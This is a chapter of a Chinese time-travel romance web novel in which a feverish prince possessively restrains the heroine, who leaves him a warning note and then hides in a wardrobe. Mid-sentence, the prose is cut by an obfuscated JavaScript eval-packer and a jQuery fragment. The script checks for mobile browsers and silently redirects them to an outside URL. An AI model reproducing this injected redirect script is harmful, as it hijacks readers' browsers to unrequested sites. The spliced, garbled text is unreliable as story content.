时间在这一刻骤然凝固。
这一句“锁进我的府邸”如同无形的冰锥,将林落迟钉在了榻沿。
她意识到了自己所在的位置,这里,是凉州承安王府,顾榄之的寝房。
寝房后的幽篁深处,那个林间楼阁正耸立在静谧的夜色里,也不知道现在是否已经开始摆放无字牌位。
但那并不重要,因为牌位不过是个掩饰,楼阁下方,昏暗的地下密室里,顾榄之早已为她量身打造出一个与世隔绝的秘密囚笼。
掌心的力道逐渐加重,林落迟猛地抬头,入眼是顾榄之苍白如纸的面容,许是失血过多,他的唇角有些干裂。
她下意识想要退后,却被那一双深不见底的混沌眼眸望得僵住身躯。
恰逢此时,夏雷轰鸣,紧随其后便是一道闪电撕裂天幕。
一闪而逝的光亮里,顾榄之的唇角以微不可查的速度向上扯动,牵出的弧度冰冷、扭曲、近乎残酷。
“落落,你在自投罗网吗?”
林落迟一怔,双目中凝固的血色顿时被窗外的雨幕冲淡。
她终于找到了此番一行的主要目的:让顾榄之去南疆救她,并留下自己“并非原主”的线索。
系统也说了,真相无法从她口中道出,可倘若是顾榄之主动发现呢?
她定了定神,反手握住顾榄之的手掌,一字一句道,“顾榄之,谢韫玉带了一封我的手写信,信中写着:‘汝之生死,与我何干?’,你记住,那不是我写的。”
“与你无关?”
他的嗓音磁沉低哑,破碎又异常愤怒,“与你无关吗?落落,这就是你对我的态度?那些幼学时的贴己陪伴,少年懵懂时的耳鬓厮磨,都与你无关?咳咳……”
“顾榄之,‘与我无关’不是我写的,不是你的‘落落’写的……唔……”
肩膀被突如其来的力道拥住,顾榄之竟不管不顾自己的伤口,像一条湿滑的毒蛇,紧紧缠上她的身体。
“不是我的‘落落’吗?那你想做谁的‘落落’?你说过,‘落落’只有我和你阿娘可以唤,你现在是想收回这个‘专属’吗?落落,你要爱沈述了吗?”
许是动作牵动伤口,最后一句吐出,他猝不及防闷哼一声,额间顿时渗出细密的汗珠。
“我没有,我……”
“还狡辩!”他发狠咬住她的耳尖。
林落迟吃痛,下意识推搡,却被他翻身压在身下,动弹不得。
他的指尖滚烫如焰,游走间精准攀上她的掌心,这种力度的禁锢不需要太大的力气,巧力便足以让她翻不出风浪。
挣扎撕裂了伤口,鲜血涌出纱布,浓重的铁锈味儿瞬间弥漫在林落迟鼻息处。
她颦眉,“别……”
剩下的话,生生堵在了嗓子眼,只因昏暗的烛火里,顾榄之青筋暴跳,眸中的疯狂与执拗像极了濒死的野兽,令她背脊发寒。
“这段时间沈述有没有碰过你?嗯?”
不等林落迟回应,他俯身,唇齿磨砺着她的锁骨,仿佛要吻去那并不存在的触碰痕迹,“他碰了你哪里?这里吗?”
“没有,顾榄之,你了解沈述的,成婚之前,他不会僭越……”
“不会僭越?”他的声音骤然一抬。
随之,方才的怒火竟戛然而止,取而代之的是一声轻和的自嘲:
“呵,是啊,他不会僭越,他是万人敬仰的君子,而我……我是阴沟里的老鼠,我生来就见不得光,即便面对心爱之人,也只能暗中觊觎,卑劣占有……”
“顾榄之,你身上有伤,你先躺好……”
林落迟推搡着他,却不想竟碰到他腰间的伤口,黏腻的触感顿时让她倒抽一口冷气!
“嗯……”
又是一声闷哼,像是承受力巨大的痛楚,顾榄之周身一颤,额间的冷汗“啪嗒”一声滴落而下,精准落入林落迟的眼睑。
“很疼吗?”她伸出双手,轻轻覆上他的脸颊。
便是这般小心翼翼的安抚,让顾榄之整个人轰然委顿。
他俯身,将滚烫的额头死死抵住她的颈窝,周身的疯狠也随之瓦解,“你是我的落落,你怎么可以爱上别人?落落,别爱沈述,继续爱我,只爱我,好不好?”
像是呓语,又像是哀求。
有泪砸进脖颈,林落迟眨了眨眼,无所适从。
默了良久,顾榄之终于再度抬头。
他的鬓角湿漉漉的,脸颊惨白黏着碎发,像个破碎的瓷器,然,手上的禁锢却不肯放松半分。
这是第一次,林落迟清楚瞧见了顾榄之那双被泪浸染到赤红的眼睛,他卸下了所有伪装,将情绪如数展现。
“只爱我,好不好?”他重复着这一句,瞳仁失焦,混沌沉寂,脆弱到不堪一击。
很明显,他已经烧糊涂了。
“顾榄之,你这样会加重伤口溃烂的,快躺好……”林落迟轻声哄着。
“你答应我,”他撇撇嘴,声音闷在鼻息处,细弱的如同蚊蚋,“你答应我,只爱我,好不好?落落,你答应我……”
“好好好,我答应你,只爱你,顾榄之,我从来没有爱过沈述……”
“你骗人!”
顾榄之抽噎一声,带着一种无法言喻的卑微和嗔怪,“你亲口说的,你只要他,你只要你的沈述哥哥。”
林落迟抓住机会,急忙解释,“那些都不是‘落落’说的,‘落落’不会伤害顾榄之,‘落落’只会一心一意地爱着顾榄之。”
“落落……不会伤害顾榄之?”
时间仿佛在这一刻凝滞了。
慢慢地,他像是被抽空了所有力气,高大的身躯一压而至,只有手臂的力道依旧如故,仿佛要将她嵌入骨血。
“顾榄之?”
林落迟唤了一声,见他不应,又呼吸灼烫,只能用尽全力将他裹进被褥。
他昏迷了,这可怎么办?
眼看时间越来越紧,林落迟一咬牙,转身来到桌案前。
她掰断竹简,蘸着墨在宣纸上写写划划,最后只能勉强拼出一句:
“顾榄之,未来你会与落落成婚,但成婚当晚,她会被沈述带去南疆,记住,不要浪费时间搜索断崖下的江流,更不要去洛城周旋,一定要第一时间去南疆,找到会使驱魂术的‘蚩’姓老头,这样才能救下落落。”
没办法,这已经是规则下,她能给予顾榄之的最大信息量了。
写完后,她将宣纸折好,返回床榻后塞进顾榄之的掌心。
之后便是百无聊赖的漫长等待。
林落迟开始后知后觉,自己真是蠢到家了!
为什么一定要穿越到顾榄之看信前呢?
就算顾榄之看到原主写的那封信又如何?自己可以事后解释嘛,现在倒好,为数不多的穿越时间,浪费在了顾榄之昏迷不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15772008|165556||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
醒这个档口。
说又说不清楚,写又写不明白,也不知道顾榄之醒来能不能捕捉到关键……
“落落,别走,别离开我……”
手腕被榻上人攥住,与此同时,烛台上的火苗“噼啪”一声,没入滚烫的热蜡。
四周陷入一片漆黑,林落迟打了个哈欠,想着事已至此,只能随机应变,便就着顾榄之的动作在他身侧躺下,浅浅入眠。
……
第二日天不亮,殿外响起了脚步声。
林落迟猛然惊醒,在殿门被拉开前精准躲进衣柜。
忙忙碌碌的声响不绝于耳,林落迟觉得头痛欲裂,竟在一片喧嚣声里再度沉沉入睡。
这一觉,她睡到了近黄昏。
她是被顾榄之的声音吵醒的。
柜门外,顾榄之像是已经恢复神智,可嗓音依旧沙哑,“这是落落写的?”
“是的,王爷,落落她……写了什么?”
是谢韫玉,她似乎还没看到信的内容。
“呵。”顾榄之轻笑。
闻声,林落迟费力睁开双目,透过柜门一线罅隙,她捕捉到了一张宣纸从顾榄之指尖悄然滑落。
谢韫玉执起,看完后,默了一瞬。
她开始尝试解释,“这……许是我没注意拿错了……”
“这是她的字迹。”顾榄之双唇翕动,干裂的双唇抿成一线。
“是她的字迹没错,可……也不一定就是她写给王爷的,”谢韫玉嗓间吞咽,神色有些局促,“我记得……她……她写了很多字的,是我不好,我拿错了……我……”
林落迟想要出去解释,奈何浑身绵软无力。
“你先出去吧,我想睡一会。”顾榄之的声音听不出情绪。
“呃……王爷,你……还好吗?”谢韫玉小心翼翼。
“无事,凉州尚未收复,胡人依旧虎视眈眈,就算为了南朝,本王也不会自寻短见,你在担心什么?”
他挑眉,侧颈的搏动隐隐显现,气氛一瞬间降得骇人。
谢韫玉低了低头,“是,这件事还需查清楚细节,王爷好生养着,待身子康复了再去问罪也不迟。”
少顷,室内再度恢复静谧。
林落迟见状,微微推开一道缝隙,柜门外,顾榄之从枕下摸索着拿出另一张宣纸。
是她昨晚写下的消息?
她心中一喜,想要当面告知,却因浑身乏力,脑袋似千斤重。
她咬紧牙关,极其艰难地推开柜门。
“吱呀……”
微弱的动静惊扰了榻上的顾榄之,他下眼睑难以抑制地抽动了一瞬,接着便匆匆掀开锦被。
“落落?”他的声音放得很轻很轻。
林落迟想要应他,可嗓间莫名干涩,就连吞咽也需耗费极大的力气。
“落落,是你吗?”
疫病外加失血过多,顾榄之脚步虚浮,下榻后身子不稳,“扑通”一声,摔出了不小的动静。
尚未走远的谢韫玉闻声折回。
“王爷,你要做什么?”
她的嗓音染上了哭腔,“陛下千叮万嘱,要我护你周全,他最怕你因为林落迟而做出什么伤害自己的举动,你要是有什么事,韫玉怎么和陛下交代?”
顾榄之的表情再也不似以往。
他发了疯般颤抖着手臂,费力指向半开半阖的柜门,“打开它!”